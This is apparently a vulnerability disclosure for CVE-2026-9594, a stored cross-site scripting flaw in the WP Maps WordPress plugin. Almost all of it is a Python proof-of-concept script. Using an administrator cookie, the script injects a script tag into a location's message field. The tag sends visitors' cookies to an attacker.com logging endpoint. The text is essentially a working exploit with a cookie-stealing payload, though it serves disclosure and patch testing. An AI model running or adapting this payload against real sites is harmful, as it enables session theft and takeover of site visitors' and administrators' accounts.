CVE-2026-9594 WordPress WP Maps插件存储型XSS漏洞

import requests import sys # CVE-2026-9594 PoC - Stored XSS in WP Maps plugin # Target: WordPress site with WP Maps plugin <= 4.9.4 target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-site.com" admin_cookie = sys.argv[2] if len(sys.argv) > 2 else "" # Malicious payload for stored XSS xss_payload = '''<script>document.location='https://attacker.com/log?c='+document.cookie</script>''' # Endpoint for location management api_endpoint = f"{target_url}/wp-admin/admin.php?page=wpgmp_view_location" # PoC: Inject XSS via location_messages parameter # This requires administrator privileges with wpgmp_manage_location capability def exploit(): headers = { "Cookie": admin_cookie, "Content-Type": "application/x-www-form-urlencoded" } # Data fields typically required for location creation data = { "location_title": "Test Location", "location_messages": xss_payload, # XSS payload injection point "location_address": "Test Address", "location_latitude": "40.7128", "location_longitude": "-74.0060", "action": "add" } response = requests.post(api_endpoint, data=data, headers=headers) if response.status_code == 200: print("[+] XSS payload injected successfully!") print("[+] Payload will execute when location page is accessed") else: print("[-] Injection failed") if __name__ == "__main__": exploit()